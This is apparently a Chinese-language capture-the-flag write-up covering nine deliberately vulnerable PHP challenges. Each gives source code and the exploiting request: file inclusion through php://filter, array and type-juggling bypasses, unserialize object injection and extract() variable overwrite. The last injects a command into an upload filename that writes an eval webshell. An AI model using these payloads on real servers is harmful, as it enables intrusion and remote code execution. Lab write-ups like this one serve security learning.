Web1

    1. <?php
    2. header("Content-Type: text/html;charset=utf-8");
    3. $page=$_GET['page'];
    4. if (isset($_GET['page'])){
    5. include("$page"); //include 语句包含并运行指定文件。
    6. }
    7. else{
    8. echo 'page!!!!';
    9. }
    10. /*flag在Y29uZmln.php中,请使用本地文件包含方式获得flag*/
    11. ?>

    根据提示需要通过文件包含方式获取flag,这里是通过$page进行参数传递,但是不能直接读取文件,需要通过php://filter进行文件读取,并且以字节方式输出

    # convert.base64-encode对读取文件进行base64编码(convert.base64-decode解码)
    /index.php?page=php://filter/read=convert.base64-encode/resource=Y29uZmln.php
    

    图片.png
    图片.png
    php://filter 参数**

    resource=<要过滤的数据流> 这个参数是必须的。它指定了你要筛选过滤的数据流
    read=<读链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔
    write=<写链的筛选列表> 该参数可选。可以设定一个或多个过滤器名称,以管道符(|)分隔
    <;两个链的筛选列表> 任何没有以 read=write= 作前缀
         的筛选器列表会视情况应用于读或写链 |
    


    Web2**

    <?php
        $password=$_GET['password'];
        var_dump($password);
        var_dump(strcmp('cab56ab0de5376d2a0c73307ea011da4',$password));
        if(strcmp('cab56ab0de5376d2a0c73307ea011da4',$password)){   //二进制安全字符串比较
            echo 'password is false ! ! ! ! !';
        }else{
            echo 'flag is here!!<br>';
            echo 'flag{vUlnCtF_This_iS_a_FlAg}';
        }
    ?>
    

    strcmp(str1,str2) 函数比较两个字符串,是二进制安全的,且对大小写敏感
    str1等于str2,返回值为0
    str1大于str2,返回值大于0
    str1小于str2,返回值小于0
    但如果传入的数组和字符串比较,那么返回NULL,判断使用的是==,NULL==0返回True
    注: == 比较两个值,=== 比较两个值与类型,先判断数据类型,再比较值

    strcmp与PHP版本有关
    PHP5.2.1版本中使用strcmp比较数组和字符串时候会返回 int(1)
    PHP5.3版本中使用strcmp比较数组和字符串时候会返回 null

    /index.php?password[]=111
    

    图片.png

    而在PHP 5.2.17版本是不行的

    图片.png

    Web3**

    <?php
        $flag = 'flag{VulN_This_is_A_flag}';
        if (isset($_GET['username']) and isset($_GET['password']))
        {
            if ($_GET['username'] == $_GET['password']){
                echo '<p>You password can not be your username !</p>';
            }
            else if (sha1($_GET['username']) === sha1($_GET['password'])){  //计算字符串的 sha1 散列值
                die('Flag:'.$flag);
            }
            else{
                echo '<p>Invalid password</p>';
            }
        }
        else{
            echo '<p>Login first</p>';
        }
    ?>
    

    这里是嵌套的if语句,第一次if判断,传入username与password值不能相等,第二次判断,传入username与password的值与数据类型都要相等,才能获取flag
    注: == 比较两个值,=== 比较两个值与类型,先判断数据类型,再比较值

    这里传入两个数组,由于值不同绕过第一次if判断,又由于sha1处理数组时返回null,null===null

    index.php?username[]=1&password[]=2
    

    图片.png

    Web4

    <?php
        header("Content-Type: text/html;charset=utf-8");
        $a = 'test';
        $b = 'test2';
    
        $a = $_GET['a'];
        $b = $_GET['b'];
    
        $c = is_numeric($a) and is_numeric($b);
    
        if($c){
            print "flag{Flag_iS_VulnCtf}";
        }
        else{
            print "is_numeric(a) and is_numeric(b) error !";
        }
    ?>
    

    is_numeric(str1)函数判断字符串中是否只包含数字,如果是返回True,否返回false
    这里涉及PHP运算优先级问题,赋值运算优先级高于and/or运算,低于&&/ ||运算

    传入的a值为数字,返回True返回给$c,if判断只要满足$c为True即可

    图片.png

    Web6

    <?php
        $a = @$_GET['a'];
        if ($a == 0) {
            echo "ZmxhZ3tUaGlTX2F";
        }
        if ($a) {
            echo "fVnVsTkN0Rl9mbGFnfQ==";
    }
    ?>
    

    这里考察PHP处理字符串弱类型转换,这里$a没有定义数据类型,在==比较中,会把传入非数字开头的字符转换为0,所有导致绕过,再base64解码即可
    图片.png
    Web7
    index.php

    <?php
        $user = $_GET["user"];
        $file = $_GET["file"];
        $pass = $_GET["pass"];
        /*
            isset函数是检测变量是否设置。
            若变量不存在则返回 FALSE
            若变量存在且其值为NULL,也返回 FALSE
            若变量存在且值不为NULL,则返回 TURE
            file_get_contents — 将整个文件读入一个字符串
            preg_match — 执行匹配正则表达式
        */
        if(isset($user) && (file_get_contents($user,'r') === "the user is admin")){
            echo "hello admin!<br>";
            if(preg_match("/f1aG/",$file)){
                exit();
            }else{
                include($file); 
                $pass = unserialize($pass);
                echo $pass;
            }
        }else{
            echo "you are not admin ! ";
        }
    ?>
    

    class.php

    <?php
        class Read{  //f1aG.php
            public $file;
            public function __toString(){
                if(isset($this->file)){
                    echo file_get_contents($this->file);
                }
                return "__toString was called!";
            }
        }
    ?>
    

    f1aG.php

    <?php
        //flag_Xd{hSh_ctf:e@syt0g3t}
    ?>
    

    这里需要先绕过if(isset($user) && (file_get_contents($user,’r’) === “the user is admin”)),可结合伪协议php://input
    image.png

    由于if(preg_match(“/f1aG/“,$file))限制,不能直接读取f1aG.php文件,$pass参数进过反序列化,所以可以想到通过反序列来读取文件

    POST /index.php?user=php://input&file=class.php&pass=O:4:"Read":1:{s:4:"file";s:57:"php://filter/read=convert.base64-encode/resource=f1aG.php";}
    
    the user is admin
    

    图片.png
    **serialize()函数介绍

    <?php 
    $array = array(); 
    $array['one'] = 'a'; 
    $array['two']=222;  
    echo serialize($array); 
    ?>  
    
    输出: a:2:{s:3:"one";s:1:"a";s:3:"two";i:222;} 
    a:2:{}  a代表对象array类型, 2代表是对象长度,这里数组长度为2
    s:3:"one"  s代表对象string类型(i代表int类型), 3代表是对象长度, one代表此对象值
    
    unserialize()反序列化,还原对象
    


    Web8**

    <?php
        $filename = 'flag08395e0fda9cae71.txt';
        $flag = 'flag08395e0fda9cae71.txt';
    
        extract($_GET);  //extract() 函数从数组中将变量导入到当前的符号表。该函数使用数组键名作为变量名,使用数组键值作为变量值。
    
        if (isset($attempt)){
            $combination = trim(file_get_contents($filename));  //trim() 函数移除字符串两侧的空白字符或其他预定义字符。/
    
            if ($attempt===$combination){
                echo "<p>How did you know the secret combinnation was" . "$combination !?</p>";
                $next = file_get_contents($flag);
                echo $next;
            }else {
                echo "Incorrect! The secret combiantion is not $attempt";
            }
        }
    ?>
    

    file_get_contents()函数将整个文件读入一个字符串,如果读取失败则返回false
    1、这里将get方法传输进来的值通过extrace()函数处理
    2、通过两个if判断$attempt是否存在,并且$attempt与$combination是否相等

    这里利用extract()变量覆盖方式获取flag

    /index.php?attempt=&filename=
    

    图片.png

    Web9

    <?php
        header("Content-type: text/html; charset=utf-8");
        //上传解压路径
        $uploadpath = "/tmp";  //这里根据系统自行修改
        //判断文件类型
        if(isset($_FILES["file"]["name"])) {
            $fType = strtolower(substr($_FILES["file"]["name"], strlen($_FILES["file"]["name"]) - 3));
            $textType = $fType;
            if ($textType != "txt") {
                echo '不正确的文件类型,只支持txt格式文件';
            } else {
                echo '上传成功' . $textType . '文件。';
                // 如果是zip格式的,放到$uploadpath里面
                if ($textType == "txt") {
                    move_uploaded_file($_FILES["file"]["tmp_name"], $uploadpath . $_FILES["file"]["name"]);
                    //move_uploaded_file() 函数将上传的文件移动到新位置。若成功,则返回 true,否则返回 false。
                    $content = exec('tail -n 1 '. $uploadpath . $_FILES["file"]["name"]);
                    echo '文本最后一行内容为:'.$content;
                }
            }
        }
    ?>
    

    Linux下通过截断传入写马,但自己是Win10环境,%00并没成功

    1;echo '<?php @eval($_POST[c]); ?>' >1.php;1.txt     # linux环境
    

    **